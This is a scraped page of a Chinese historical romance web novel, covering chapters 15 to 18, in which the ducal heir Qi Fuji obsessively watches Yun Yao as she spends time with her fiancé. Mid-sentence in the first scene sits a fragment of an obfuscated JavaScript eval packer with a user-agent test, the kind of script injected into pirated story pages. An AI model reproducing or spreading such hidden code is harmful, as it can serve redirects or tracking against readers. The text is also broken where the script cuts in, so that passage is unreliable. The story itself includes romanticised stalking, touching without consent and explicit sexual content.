齐拂己偷偷环顾,揣测父亲意图。 魏国公则径直走向墙上挂画。前朝范中正的《行旅图》,传世孤本,重山叠峰,瀑如银线,他却看也不看,将画掀起,露出壁上遮掩的一机关,巴掌大小,似堪舆罗盘。魏国公启唇教齐拂己:“走丙午丁先乾后离,再走戌位火库,然后再走一回寅午戌三合火局……” 他说了近百来下拧法,而后吩咐齐拂己:“你来试试。” 齐拂己上前,徐徐转动,魏国公目不转睛,看儿子每一步都是对的,心生欣慰,却不显露,直到齐拂己全都转对转完,不错一步,墙壁移动打开,国公才点头赞许:“不错。” 齐拂己随魏国公进入门后,拾级而下,内里黑暗,齐拂己马上拿起桌上火折子点燃,举着照路,另一只空着的手前伸,护了魏国公一下:“爹,小心。” 魏国公翘起唇角,看向儿子:“前面多有机关,你也多加小心。” “谢谢父亲提醒。” 父子俩齐头并进,内里竟如地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那明月庵的窗户犹开隐秘一线,月亮在庵后头半藏半身。 “世子要入庵吗?”大安询问。最近一个月世子爱在明月庵清修,待的时长快赶上佛堂。都是清修,会屏退他人,如果今晚世子要入庵,他和速喜会主动退避。 齐拂己摇头,她不会再来采莲了。 齐拂己过而不入,自回房中。 天色不早,宽衣就寝,又见那方绢帕——干净依旧,却因为日日清洗变得僵硬。 他攥在手中,犹豫今夜是否一如往昔。 天人交战良久,还是熟练地扶上裹住。手帕偏硬的质地刺痛皮肤,同时又酸胀爽利,这三种感情交杂着自心口长出来,无法控制地蔓延全身,令他难受却上瘾,想要一直持续。 窗外,孤月高升,皎皎流光。 16、第十六章 * 入秋后落了一场雨,待再停天气就凉上许多,大伙都拿出薄袄来穿。 “云姑娘、云姑娘。”上房的仆妇前来通传,“张公子来了。” 因着订亲的缘故,云窈听见这个名字就脸上一红。 仆妇们告诉云窈,张宗云正在上房花厅品茗,但其实张宗云压根没有品尝心思——他汝窑盏端着,一口没喝,只盯门口。云窈一进花厅就同张宗云视线对上。 云窈低头,张宗云则是整张脸都亮起来,互相见了礼,张宗云笑道:“云姑娘,上回你说还未逛过京师,鄙人今日休沐,如若不嫌弃愿为向导。”须臾,急急补充,“我已经禀过殿下了!” 云窈听到汉阳公主首肯,方才福身应允:“谢谢张公子,有心了。” 张宗云从八品小官,家境也一般,雇不起骒马,平日上朝都用两脚走路。这会邀请云窈游京亦如是,他却不提自个的捉襟见肘,只道:“京中好玩好逛的不少,铺子挨铺子,我们就从国公府这么一直走去保康门,沿路步行,乘车马恐还错过。” 云窈没多想,觉他说得极是。 她叫上落玉,张宗云有个少年仆从名唤铁头,是书童、小厮,亦是长随,四人一道出国公府,不上桥,就沿着门前那条河挨家铺子逛。 “云姑娘,这家是卖漆器的。” “云姑娘,这是打油醋的。” “云姑娘,这是香铺。” 张宗云每到一家都要介绍,其实这些铺子杭州也有,云窈皆识,且例如眼前香铺,远远就能闻着香。 她频频点头,不好扫张宗云的兴,却也因此紧抿双唇,自个局促。 “好香……”落玉突然出声,云窈以为说的香铺,跟着落玉扭脖的方向望去,才发现前头隔两家铺子围着许多百姓,从铺里排出铺外,拐了弯,但是挑子被挡住看不清。 落玉和铁头都伸长脖子瞧。 云窈注视落玉,悄笑:“那我们也过去瞧瞧吧。” 走近了,才瞧见招牌王大麻子肉饼,铁头突然有了记忆:“公子,这家很特别出名!” 张宗云闻言看向云窈:“云姑娘你想吃吗?” 云窈霎时脸红。 张宗云耳根也热了,别过脑袋,用眼神吩咐铁头去排队。哪晓得肉饼紧俏,为着公平起见,一人排一回最多允买两个,不允代排。 于是四人皆排队中。 落玉问铁头:“你之前听说过这家吗?” “当然。”铁头从善如流,立马报了几个名字,说都是国子监诸位大人的长随,平日里当官的教书,他们这些长随就聚一处,等着候着也闲聊,说几回王大麻子肉饼了。 “我有一回听得太馋,都流口水了。”铁头不怕丢人,直言糗事。 落玉不解:“那你怎么早不来买?” 还要等到现在。 铁头额上现川字:“我来过一回,没买到。这饼铺午时就卖完了,我家公子日日散值都过酉戌,哪有机会买。” 张宗云一直偷瞧云窈,听到这启唇同她道:“我待国子监比待家里多,你日后要寻我,可直接去国子监寻。” 云窈脸热,低低嗯了一声。 许是排得久了,香气一直往鼻子里飘的缘故,云窈馋虫亦被勾起,拿到肉饼顾不得烫,就咬一口。 “小心点别烫着。”张宗云忙关切,又柔声问,“好吃吗?” 云窈点头。 张宗云笑:“我这个也给你。” 云窈摇头:“辛苦排这么久的肉饼,张公子你自己吃啊。” 张宗云点头,咬了一口,似有话要对云窈讲,却又哽咽闭上。云窈追问:“公子是有什么话要说吗?” 张宗云不好意思,声音变小:“云姑娘留些肚子,待会还有好东西吃。” 云窈便知他另有安排,预留着惊喜,她心里第一反应是尴尬,不再接张宗云目光,偏头避开,却冷不丁瞅见不远处一辆马车渐行渐停,下车的女郎一身素白,分外眼熟,她身后跟随的婢女也是认识的。 女子瞧见云窈,亦定住。 云窈赶紧上前行礼:“大小姐。” 齐姝静屈膝回礼,诸人各自做了介绍,齐姝静说自己刚去附近的玉元寺上完香,顺道来书肆瞧瞧。 云窈随之望向肉饼铺旁的招牌——集萃居。 云窈自个没什么,齐姝静见她瞟,却是做贼心虚,心头一跳——其实书和胭脂水粉、锦缎绫罗一样,都不用自己跑,新出什么就送什么去魏国公府的,家里不缺的。 但又有一点不一样,送往府里的新书,汉阳公主剔除了话本子,说家有佛堂,不能进这些六根不净的。 公主事事为齐拂己着想,却苦了齐姝静,她最爱读才子佳人的话本,尤其某些令人脸红心跳的手抄。 集萃居就私底下流通手抄。 齐姝静面上不显,默默观察云窈。云窈没多话,反倒是张宗云开口邀请大伙一道逛书肆。 齐姝静冷冷盯着他,点头。 众人前后脚入内,绕一排排书架兜圈,云窈和张宗云都没遇见心仪的书,皆起走意。云窈便问齐姝静:“大小姐,您可有相中的?” 齐姝静分开两瓣薄唇:“我再逛逛。” 再不多说一字。 她向来寡言,云窈没觉出异样,客气了几句后道别。众人离开书肆继续逛街,渐将这段偶遇抛掷脑后,独齐姝静留在书肆中。 集萃居的掌柜是人精,这会才压低嗓子,邀请齐姝静这个熟客去里间,婢女熟练地等在外面。 却说门口刚好路过大理寺少卿李凝并一下属,那下属道:“大人,可否容小的去买本书?” “又要看什么不干不净的?”李凝蹙眉,这人上回看手抄,被他逮着训斥一回。 “正经书,这回绝对正经!”下属打包票,说要买的是《寒略》,待会拿出来给李凝瞧。 “行了信你,”李凝蹙眉,“速去速回。” 他负手定在门外,原不打算进书肆,但无意往里头眺了眼,素衣翩跹,佳人面庞一闪而过。 李凝缓缓分唇,又更缓慢地合上。 少顷,他抬腿进门。 齐姝静正在里间挑手抄,门那边突然一响,她做贼心虚,本能缩脖,再回首见是李凝,愣在原地。 良久回神,红着脸将手抄丢到身后桌上。 李凝定定看着齐姝静。 掌柜以为李凝迟疑,是不好意思挑书,热情介绍:“大人,这里边的珍藏本都是外头没有的,本本精彩,保管有你满意的。” 齐姝静闻言错愕看向李凝,这回轮到李凝面讪,挪开目光。 他瞥向掌柜,沉声吩咐:“你先出去。” 掌柜一愣,瞟齐姝静又觑李凝,自己走了,这余下孤男寡女的……却见齐大小姐并无异议,还一脸平静,掌柜恍然大悟,默默退出,顺手带上门。 门一关,李凝马上向齐姝静解释:“我是第一回来。” 他没看过这种书。 齐姝静低头不语。 须臾,李凝急忙纠正:“其实这里的书也没什么。” 他没有责备她看这种书的意思,半分也无。 齐姝静两手空的,也不打算再挑了,开口道别要走,李凝垂着的胳膊默攥成拳:“等等!我有话和你说。” 齐姝静停步,紧盯地面。 李凝声涩:“一直……想找机会给你道个歉,你爹的事……对不起。” 齐岚流放是他判的。 齐姝静垂首不语,判的那一日,冯氏恨不得弹冠相庆,自己却不比母亲,对爹爹尚存几分感情,说不难过那是假的。但是母亲高兴,她不敢表现出丝毫不舍。 “国有国法,家有家规,你是对的,不用向我道歉。”齐姝静平平淡淡回应,两脚却伫在原地不动。 “你要是难过……”李凝声颤,“不要忍……” 此话一出,齐姝静的眼泪突然扑簌簌往下掉,似珠子落到地上成一个个清晰的点。李凝看得难过,终忍不住走上前去,伸展双臂,扶住齐姝静。 齐姝静泪脸仰面,望他一眼,而后往他身前倾倒,李凝再抑制不住,将她紧紧拥在怀中。 齐姝静终于痛哭出声,又擦眼泪:“不能哭,掌柜会听到。” “隔音好他不会听见的。”李凝安慰她,不自觉用了平生最温柔的语气。他也眼眶泛红,他们果然是彼此最懂的一双人。 从小到大,他喜欢的人自始至终都是齐姝静,却从未深想,更未曾戳破。 他与恒山侯家的小公子素来交恶,弱冠那年更是连打两架,当他得知小公子中意太学于博士的女儿,意气用事,立马也向于氏示好提亲——他要胜过他,让他不痛快! 果然,于氏选择嫁来建平侯府,小公子从此一蹶不振,李凝犹如一只斗胜的大公鸡,满满都是压过小公子的喜悦,直到半年后,失去齐姝静的钝痛才弥上心头。 李凝哽咽低头,捧起齐姝静的脸吻了上去,先亲的额头,而后慢慢往下,遇着了泪便一并将泪吻去,唇上咸涩一片。待要触及齐姝静的唇,她突然推他,哭道:“不、我们不能这样……” 说完,用力又推第二回,彻底将他推开。 李凝没有坚持,脉脉睇着齐姝静,良久,垂下眼帘:“对不起,是我唐突了,都是我的错。” 他再没有碰齐姝静。 齐姝静擦了好一会眼泪,李凝垂着胳膊在旁指点,提醒她哪哪红了,掩盖一下。待平复,齐姝静挑了两本书,匆匆离去,李凝目送佳人消失,而后拿起两本和她一模一样的手抄,步出里间。 久候的下属不敢多言,心里却哼哼:呵,上回还说他?大人假正经,还不是喜欢看这种书。 李凝带着下属继续前行,习武之人本就走得快,他俩又不闲逛,很快追上云窈一行人。李凝仍记得她,多扫了两眼,方才掠过。 公主寿宴上往来如云,云窈对李凝压根没印象,和落玉说笑着回头转身,张宗云已在铺子门口催促:“云姑娘,快来!” 云窈步子加快。张宗云不放心,往下走一级台阶,迎云窈:“小心台阶。” 不远处,亦是李凝背后,一辆马车正从岔路拐入大道。车内分腿端坐着齐拂己——他今日依国公吩咐拜访晋王,诸事低调,不仅没有策马,还乘了一辆没有国公府纹饰的马车。 此刻访完回府,闭目养神,突听车外有人喊“云姑娘”,齐拂己倏地睁眼,先挑窗帘,继而将窗推开一线,与那明月庵后偷窥没有区别。 他第一眼就锁定云窈,吩咐驱车的大安:“暂时先不走了,到旁边停好。” 17、第十七章 云窈这厢随张宗云进门,环视一圈,又是一家糕点铺子。 今日路过了十几家,尝了许多,说实话,有些乏了。 张宗云却极热情,主动掏钱买了一大份,从柜头直捧到云窈面前:“快尝尝这个。” 云窈一见眼熟,继而眼热,张宗云捧的是她家乡的八珍糕——京城人不喜欢南点,嫌太甜,国公府里也不曾做,她已经有好几个月没吃到了。这是今天遇到的第一家南点铺子,及其难得。 云窈咬一口,添了芡实,和以前老宅旁边卖的八珍糕一模一样口感,她情不自禁就咽得慢了,舍不得。 她想起张宗云那句“留些肚子,待会还有好东西吃”,瞬间想哭。娘说喜欢一个人就是天天牵挂他,有好吃好玩的都先考虑他,她对张宗云没有这些想法,不像娘喜欢爹那样喜欢。但张宗云带她满城走,特意准备弥漫故乡香气的糕点,她感激喜欢,这份亲事……就很好。 所以云窈从糕点铺子出来时主动提议:“张公子,这一路都是你在付钱,无以为报,待会你相中什么,我也送你一样吧。” 张宗云微笑张口,正准备回她是自己订了亲的未婚娘子,自然该他掏钱,铁头却先主一步囔囔:“云姑娘,你要想送就绣个香囊送给我家公子吧!国子监里的大人们人人都挂一个夫人绣的,唯独我家公子没有!” “放肆!”张宗云涨红着脸呵斥。 云窈甚至落玉都羞得别过头去。 良久,云窈极小幅度地点了下脑袋,几不可察。 不远处拐角里,安静停驻一辆马车,齐拂己在窗后目不转睛窥视。 方才铺子仅开两扇大门,云窈在里头走动,身影总是一闪而过,瞧不真切。他不断猜想她和在里面?怎么约上的?做些什么?说了什么话?用怎样表情? 就像自持一针扎肉,心头不断刺痛。 明知道不扎就不会再疼,却自虐一般,一扎再扎,自问自答,一猜再猜。 明知道应该在云窈出来前离开,这样就不会亲眼瞧见她同别的男子相携,身子却压根动不了,眼睛也移不开,然后就听见云窈要主动送礼,她声音小,离得远,像蚊子嗡嗡,钻进他心里却哪里是蚊子啊,是刺刀。 实际眼见的,果然比他的猜测更戳心。 云窈那一下极微小的点头应允,他比张宗云看得更清楚,一股浓烈的酸涩迅速弥漫全身。 “云姑娘,你这里……”张宗云隔空手指,提醒云窈唇角沾了八珍糕的一点白。 云窈急忙背身,红着脸拿帕子擦嘴。 张宗云耳朵也红了,别过脸去。 真是刺眼呐……齐拂己在车内不自觉叩齿,继而察觉异样,眼帘下耷,瞧见窗楹上一点湿。 湿得越来越多,下雨了。 风刮进车厢,湿雨沾衣,吹起齐拂己一缕鬓发,他却丝毫未有关窗之意。 云窈一行人都没带伞,避入檐下。一霎时天昏地暗,似天破了泼水,地上无数水洼飞溅,云窈纵使躲避,仍被斜雨浇湿鞋尖。 张宗云此时才意识到躲的地方不对,檐下太窄,后面又是紧闭大门,退无可退。可现在雨这么大,再改躲去别处都要淋一段雨,保管浇透。 他心生懊悔却无对策,正愁苦着,忽听有人询问:“云姑娘?是云姑娘吗?” 后面还有几句,雨大音缥缈,听不清了。 云窈亦只听见自己名字,循声望去,见一辆马车停在脚边,茫茫雨雾本难辨人,她却一眼认出驱车的是大安。 大公子的车? 云窈立即行礼问安,张宗云先望云窈,接着也跟着拜,效仿她说。大安哑口,自己方才依照世子吩咐,谎称这是二姑娘的车,邀请云姑娘一道回府,可云姑娘怎么还拜世子? 识破了? 大安硬着头皮接话:“云姑娘没带伞么?正好我们世子要回府,可以稍您一程。” 云窈蹙眉,孤男寡女,瓜田李下,何况她已订亲,遂毫不犹豫婉拒:“多谢大公子美意,我待会再走。” 她说完就低下头,见车轱辘转了两圈似要远离,停了会,重退回来。倾盆大雨中大安已湿一肩,囔道:“云姑娘,您和这位公子都上车吧,车里宽敞,我们把这位公子也送回去。” 云窈纠结,拳在袖子里偷偷捏放两下,且去观察张宗云神色。张宗云是想搭的,面向云窈轻语:“我家比国公府远些,待会你先下车。” 云窈这才应允。 一行四人包括落玉铁头,全上齐拂己马车。云窈瞧见齐拂己第一眼,就像第一回见那样,又被惊艳了下——大公子实在太好看,今日一身白,以云喻犹不够,是云外雪,雪中玉,光华万千。 云窈耳热地头,瞧见地板上多出好几滩水,这是她们上车带来的雨水。 她赶紧道歉,一会说大公子添麻烦,一会又千恩万谢大公子捎带,张宗云依葫芦画瓢,跟着她学。 齐拂己早发现众人皆唤世子,独云窈称呼大公子,他不纠正,反正生出两分莫名的妥帖和舒畅。 这会听见张宗云也唤大公子,陡生不快,明明心中阴云密布,面上却依旧和煦,挂几丝淡笑:“不用客气,些小事,顺道而已。” 云窈阖唇,缩于一角,心里给齐拂己的好人好事簿再记上一笔。 她全程没再言语,张宗云初见齐拂己,亦觉局促,聊了两句也合上唇。车厢内渐渐陷入寂静,只听得外头噼啪如鼓,云烟四起,暴雨中,连车行得都有几分飘。 齐拂己不动声色观察,云窈倒是没瞥过她那未婚夫,但那未婚夫却不老实,时不时偷瞟云窈两眼。 都是男人,齐拂己瞬间读懂张宗云的眼神,分外不悦。 却又想,她无意,且定了亲,自己在这不高兴什么? 何必因她和她那些烂事牵动心绪…… 齐拂己缓将视线移向车窗,为了避雨,窗关得严实,瞧不见街景,只有豆大雨滴不断敲击的声音,总恍觉车窗要破。 齐拂己瞧着瞧着,心底忽冷哼一声:一辆车雇不起,一把伞不知常备,这样的男人能护她什么? 马车先抵达魏国公府,早有家丁们拥上来,都举着伞。云窈仍缩于角落,不知道是该自己先下,还是大公子先下,哪种不失礼。齐拂己余光扫她一眼,先起身下车。 自有人为他遮雨,他没有急着拾级到檐下,就站在马车边,青砖淌水,浸湿皂靴。 女子里落玉先钻出来,踩着脚凳扭身扶云窈:“小姐,小心滑。” 齐拂己眸中暗色一闪而过,他原本打算扶云窈的,算了,从小厮手中夺来一把伞,自撑归家。 云窈双脚沾地眺望时,齐拂己正拾级进角门,留了个背影给她。 云窈默然跟上,甚至忘了同张宗云告别。 张宗云在车厢内挥手,马车越行越远,送他回租赁的宅邸。 “小姐。”落玉追着打伞。 “我自己撑吧。”云窈接过伞柄,雨大风斜,共伞落玉必定湿身,“你也打一把伞。” 她的心思都在自家婢女身上,视线一直追随落玉,不知前方齐拂己听见言语,竟缓移油纸伞,令自己半个左肩露在伞外。 大安驱车去送张宗云,眼下旁的小厮给齐拂己打伞,加之齐拂己做得不露痕迹,小厮过会才惊觉世子左肩尽湿,急忙伸臂举高自己的伞,覆盖到齐拂己伞上,左偏一点:“世子您这都淋湿了!” 声音响亮,云窈听见前瞟一眼,目光在齐拂己湿漉漉的左肩上定了一霎,移开。 她在岔路左拐,和落玉自回木樨小筑。落玉进屋收伞,立马就道:“小姐快把鞋袜脱了,湿的穿久了容易着凉。” 落玉打水取帕,又去翻干净清爽鞋袜。云窈道:“你放着吧,我自己来。” 见云窈裙角亦湿,落玉手放在拉开的抽屉上,问:“小姐要不要把裙子也换了?” “不用,我待会烤烤就行,你的鞋袜也湿了,快去换了吧。” 落玉便去忙自己的,云窈拖出来她俩私藏的小炉生火。落玉忙完过来接手,二女围炉烤衣裳,落玉突然想起来有从杭州带来的老姜茶,当即沏上一壶。 云窈喝一口,真舒服。落玉更是感慨:“啧——还是咱们杭州的东西好,驱寒发汗,落胃。” 云窈脑中一闪而过齐拂己淋湿的肩膀,捧着杯问:“这姜茶我们带来几罐?” “有四、五罐呢。” “待会你送两罐去大公子那,就说答谢他送我们回来。”云窈指腹摩挲茶杯,大公子的恩情还不完。 “世子那不缺姜茶吧。”落玉心头打鼓,不过老姜、枸杞、桂圆和红枣,拿得出手吗? 云窈笑了笑,落玉刚刚还说这是好东西。 她温柔道:“大公子缺不缺是一码事,我们送不送是另一码事,人情心意要到。大公子屡次帮我,再不表示说不过去了。” 落玉点头,言之有理。 一场秋雨未下多久便停,落玉往世子院送茶,她进不去,托付给门房,门房再传小厮,层层传递…… 内院,齐拂己淋了雨,衣裳重,心亦沉沉,刚沐浴更衣,从前室回卧房。 “世子。”桌边的速喜抱着厚厚一摞册子,不知是公文还是典籍,“这些都是国公让您过目的。” 齐拂己颔首,坐到桌边。速喜旋即将册子都放到桌上。齐拂己顺手取来最上面那一册,翻开一页,并未看,手搁桌上。 他身上的雪缎又轻又软,整个人却仍觉沉,臂都抬不起来,好像还穿着那一身湿衣裳,既潮又重。 房中还有一世子院管家小吉,即刻向齐拂己汇报起家中众人动向,齐拂意之前被魏国公禁足,心气不顺复发了喘症,这段日子都在自己院中养病,咳喘不止,尤其夜间加重,难睡整觉。 小吉提了一嘴,齐拂己听着,不知怎地,心里想的却是云窈从来没有打听,也不曾探望齐拂意。 “御医也来瞧过,仍不见好。” ““我待会抽空去看二弟——” 呼——齐拂己话未说完,门开,方才因小厮找出去的大安折返,带进来一阵风。 齐拂己撩眼皮,扫见大安手上抱两白瓷罐,他不以为意,继续吩咐小吉:你继续守口如瓶,莫要叫木樨小筑知晓任何关于二弟的消息。” 齐拂己交代完,起手,准备翻阅书册。大安在旁躬了下身:“世子,这是云姑娘拿给您的老姜茶,说是喝了可以驱散方才沾染的雨湿。” 少顷,齐拂己缓缓旋起唇角,整个人肉眼可见地变轻快。 “去沏一壶。”他笑着下令。 是夜,乌云重来,三更雨打在梧桐树上,一叶叶,一声声。 齐拂己起来便遵照父亲安排,恩荫入仕,授礼部员外郎。 云窈却迟迟不起,天亮了仍在床上迷糊。 “小姐,起床了。”落玉呼唤。 云窈睁眼又闭眼:“我头有些疼。” 落玉心道不好,往云窈额上一摸,滚烫——她竟因昨日那场雨病倒了。 不仅高热,还咳嗽流涕,由木樨小筑的仆妇们传出去,不消一日,府上皆道云姑娘真真灯草美人,娇滴滴身。 落玉端碗进来时,云窈正倚床头拭鼻,被人瞧见不雅,羞得侧身。 “小姐,你瞧我得了什么好东西?”落玉将碗递到云窈跟前。 云窈瞅一眼,里头竟是无杂的金丝燕盏,不由发问:“这是谁送的?” 是公主晓得她生病,体恤的吗? “谁都没送,府里发的。”落玉告诉云窈,国公府但凡有主子生病,都会额外配给补品,金丝燕流水般送。 云窈暗自咋舌,大户人家,金玉满堂,原来是这么个活法。 自从上回着了二房的道,她十年怕井绳,药都是落玉用小炉子在屋内煎,这会检查了一遍燕盏无恙,才敢用小炉子炖。 云窈起身翻抽屉,落玉问:“小姐你找什么?” “找线和布。上回答应张公子给他绣个香囊。” “你还病着!”落玉起身去拉云窈,要将她强行拽回床上,“不急着一日,先养身子!” “我不会一口气绣完的,”云窈的声音很温柔,“我每日绣几针,累了就歇,慢慢来。 她心里总记着事,放不下,“我热已经退了,不碍事的。” 落玉先手背贴云窈额头,继而观察她神色,方才不说话继续炖燕窝。云窈则倚着靠背椅,一针一线,给张宗云绣个祥云纹的香囊。 世子院,书房。 大安关好门,蹑手蹑脚凑近齐拂己:“世子,都按您的吩咐,妥了。” 齐拂己正负手立在窗边,嗯了一声。 大安眼珠转动:世子关心云姑娘,私下给她送金丝燕盏,却又借旁的名义,坚决不肯透露是自己送的…… 不对劲,世子不对劲。 跟往常一样,大慈大悲,菩萨心肠? 不对,说不过去。 滴答——滴答—— 又落雨了。 齐拂己凝睇窗外芭蕉,默想:她都病两日了,她那未婚夫呢?可曾知晓?关心? 还没嫁过去就不闻不问,这样的男人嫁后会对她好? 将落第一滴雨时大安就想关窗,却因为齐拂己杵在窗前,不方便动作。 一拖再拖,眼见着世子衣衫越湿越多,大安终硬着头皮请示:“世子,容小的关个窗。” 不然您会像云姑娘那样着凉的,他在心里默默接上后半句。 齐拂己猛地回神,这才发觉自个在窗边伫立太久,风吹领口,袍已半湿。 他顺手带上窗,没让大安关,反而吩咐:“去沏壶老姜茶。” “啊?”大安愣怔,云姑娘送的姜茶世子无论晴天雨天,日日沏,时时喝,一日一罐,已经没了。 他垂低脑袋,不敢对视齐拂己,小声蛐蛐:“世子,茶……已经喝光了。” “再要一点。” 还要? 大安不敢有异议,立马跑去木樨小筑传话,云窈和落玉得了消息,皆错愕怎么才送去两日,就喝完了? “我们还剩多少?”云窈问,记得余两罐多。 落玉把老姜茶都找出来,逐一摆到桌上:“没开封的就这两罐,另外这罐剩一半不到了。” “把这两罐送去。”云窈指没开封的,喝过的再送不礼貌。 “好。”落玉应声,就要抱罐出门,转交大安,云窈忽然抬臂:“等等!” 照齐拂己这灌法,授人以鱼不如授人以渔,桌上砚台里墨犹未干,她趁这机会,麻利抽出一张花笺,写下老姜茶的配方,让落玉一并转交大安。 不到半个时辰,花笺就辗转到齐拂己手上。 他盯着瞧,抿唇悄笑,原来她的字是这样的。 清瘦秀劲,很媚。 也很和他的心意,齐拂己忽自顾自笑出两声。 他指腹在花笺上摩挲,她这墨快干了,笺上散发淡淡香气。他不由将花笺拿到鼻下轻嗅,须臾下移,贴上自己的唇。 18、第十八章 * 云窈养了半月病,眼下除了偶尔咳两声,旁的都好了。她也绣完香囊,想去国子监送给他。 如今云窈出府无人阻拦,但她还是先请示了汉阳公主,公主笑说好事,不仅允了,还给云窈调配一辆马车。 云窈坐着车,晃晃悠悠去国子监找未婚夫。 又是半月大门不出,二门不迈,落玉馋得慌:“小姐,我们开窗看看外头吧。” 云窈也想赏街景,点头开窗,二女一路眼花缭乱,时间飞快,好像才眨了数眼,车就停了。 到国子监了? 云窈仰头,没瞧见国子监的匾额,四周空旷,道铺白玉,中央一座牌坊巍峨入云。 “云姑娘,前面是御道,车马不能行。” 云窈闻言连忙下车。余下的一段路她和落玉自己走,车夫等在牌坊外。 少时,齐拂己散值,从礼部归家也要途经牌坊,大安一面赶着车一面扭头:“咦?” 牌坊侧边停着的车怎么有国公府纹饰? 再往前赶,车夫是熟脸,家里的阿由。 “是谁来这了?”大安不禁嘀咕一句。 车厢内,齐拂己抬手推开一条窗缝,只觑了一眼牌坊,就眸如鹰隼——这里离得最近的官署是国子监,那日他在车中听得分明,某人答应给国子监的博士绣香囊。 约莫是绣好了。 巴巴地送来呢。 呵—— 想到这齐拂己禁不住冷笑一声。 他心底有个声音在呐喊:不、不要去!你去了又能做什么?不过是瞧见一些不愿见的情形。 却还是忍不住命令大安找个隐蔽角落停车,他下车,独自行向国子监。 这厢,云窈已至集贤门,不能再进,托了门童传话,在外头等候张宗云。 国子监左庙右学,她瞧这边墙后黄瓦红殿,群杏成林,异常寂静,连那落在瓦上的麻雀都无声,便也不敢喧哗,阖唇垂首。 因为没有东张西望,云窈不知道齐拂己已经绕至墙转角处,正默默注视着她。 张宗云得了消息,即刻往集贤门赶,他穿过太学门和琉璃牌坊都是用跑的,见云窈时气喘吁吁,开口第一句却是:“让你久等了。” 云窈脸上迅飞一抹薄红,摇头,也不说话,将香囊默递给他。 张宗云先是一怔,继而反应过来,喜得快要溢出眼泪,他不敢抓云窈的手,就攥着香囊,上下舞臂,难掩激动。 “你试试,看合适不?”云窈轻问,依旧压低脑袋,不与张宗云对视。 张宗云忙往腰上系,因为紧张,挂了好一会才挂上:“合适、合适。” 云窈的视线前面刚好是张宗云的腰胸,看了一眼香囊就移开,脸上滚烫。 她突然发现自己会答应张宗云送香囊,会因此害臊,却没有想和他多待的意思。 “如果没什么事……”云窈极细小声音道,“……我就先回去了,不耽误你当值。” 明明是自己想分开,却扯为张宗云好的理由,云窈颇羞愧,脸更红了。 张宗云犹沉浸在幸福中,云窈说什么他应什么:“好、好。” 他不能出国子监,于是站在原地目送,哪怕云窈没有回头,也始终热切凝睇,一脸笑意。 不远处,齐拂己一会紧盯云窈,一会视线掠过张宗云面庞,又或者落到香囊上,自始至终面沉如水。 好啊,好一对郎情妾意。 果然亲眼见着会更难受,就像明知身上有个没长好的疮,却忍不住一遍又一遍亲手挑破,刺痛、酸涩,却又沉迷其中。 睹见张宗云转身,集贤门关闭,齐拂己即刻朝云窈走去。 太阳高照,今日回温还有几分热,他的眸色和神情却格外冷静,脚下不紧不慢左靠,再左靠,直到和云窈的影子重叠。 他盯了一会两人叠在一起移动的影子,翘起嘴角。 云窈和落玉都没察觉,直到抵达牌坊,要上车了,云窈才无意低头,瞥见黑压压多出一道巨影。 她吓得扭头转身,因被惊到,没站稳晃了下,听见清晰一声咔。 “小姐,你没事吧?”落玉忙扶云窈。 云窈摆手:“没事。” 她瞧见身后人是齐拂己,立马放下戒心,也不觉得他是尾随。 云窈要行礼,膝盖一弯,脚上用力,不由得呲了声。 疼疼疼,好疼! 刚才崴脚踝了。 她本能踮脚尖,搀扶的落玉顺势将自家小姐再抬高些。 齐拂己已至近前,声音清润淡然:“我方从国子监办事出来。” 他不问她为什么会在这里,不想听她回答来送东西,更不想听她说送给谁。 云窈滞了下,忍着脚痛继续下拜:“参见大公子。” 齐拂己心里默道:她生病后嗓子变了,又沙又甜,像三伏天的冰镇西瓜。 面上却恬淡,温声询问:“你脚怎么了?” “方才崴——大公子!”云窈惊呼出声,齐拂己竟骤然蹲下,褪了她的鞋袜,将裸足握在手中。 男女大妨!他要做什么?怎能这样?!云窈看向自己已经开始红肿的脚踝,一颗心狂跳。 齐拂己面色不变,垂着眼,长黑的羽睫遮蔽他的眸子。他的手在云窈脚踝处捏了下,手法很轻,她甚至没有觉出一丁点痛。 齐拂己不顾锦袍垂地,取出一盒膏药,用二指剜出一点,抹于云窈脚上,绕脚踝缓慢打圈。她能感受到膏药的清凉和他的温热,还有指腹的粗粝。 云窈不疼,身心都痒痒的。 “你这脚现在不治,回去就废了。”齐拂己说完也涂完,利落起身,二指在云窈足上没有一刻多的停留,看起来毫无眷恋。 云窈低头看,右脚上的红肿已立竿见影消退些许。 原来大公子真的只是帮她疗伤。 他是霁月光风,坐怀不乱的柳下惠。 佛陀渡人时是不分男女的。 是她自己以小人之心度君子之腹,庸人自扰。 云窈启唇想要道歉,却见齐拂己掏出一方帕子,擦拭方才触碰云窈的二指,将那点滴膏药都擦干净。 云窈的话陡然堵在嗓子眼,脸上红晕炸开,羞愧难当。 下一霎,齐拂己扶上她胳膊:“上车小心。” “谢谢大公子。”云窈由他搀着进到车厢里,落了帘,她听见齐拂己叮嘱车夫:“云姑娘腿不方便,到府门口差顶软轿出来接她。” 接着便是极轻的脚步声,车窗未关,云窈不由自主望向窗外,齐拂己正朝自己所乘马车走去,上车时与云窈对上一眼,神色平静,她甚至能从他眸中寻着一丝淡漠。 大公子真的只是救人,今日给她上药,和那日给鸟治伤,没有区别。 云窈想着慢慢关上窗。 齐拂己上车后也迅速关窗,将那一线窗缝闭严。 大安挑帘,照例要向齐拂己请示出发,齐拂己却厉喝:“出去!” 大安手一抖落帘,甚至连车门也吓得带上。 车厢封闭,仅剩下齐拂己自己,他的呼吸陡然粗重。 其实刚刚在触碰她的那一刹,他就想用脚替代她的手帕,抵向狰狞。他到现在满脑子都还是她褪去罗袜后匀称曲致的小腿,薄皮小骨架的脚踝,白到能看见青筋的脚背,细嫩的肌肤触感,天知道他用了多大毅力,才抑下自己炙热蓬勃的渴望。 此时已再难压制,齐拂己羽睫震颤,放任自己长久且猛烈地释放。 驱车的大安过了少顷才反应过来,身心一滞,差点脱缰。他不敢回府,驱着马车在城中绕圈,车厢随道路起伏晃荡,终弥漫起浓烈的石楠香味。 齐拂己紧抿两唇,面色凝重,一闪浮生百种情绪,但竟然没有懊悔,且明明已经释放,却涌起一股更为强烈的空虚,无边无垠,欲壑难填。 * 山无石不秀,水无石不清,云窈坐软轿回木樨小筑,沿路山水奇石,不输府外名胜。 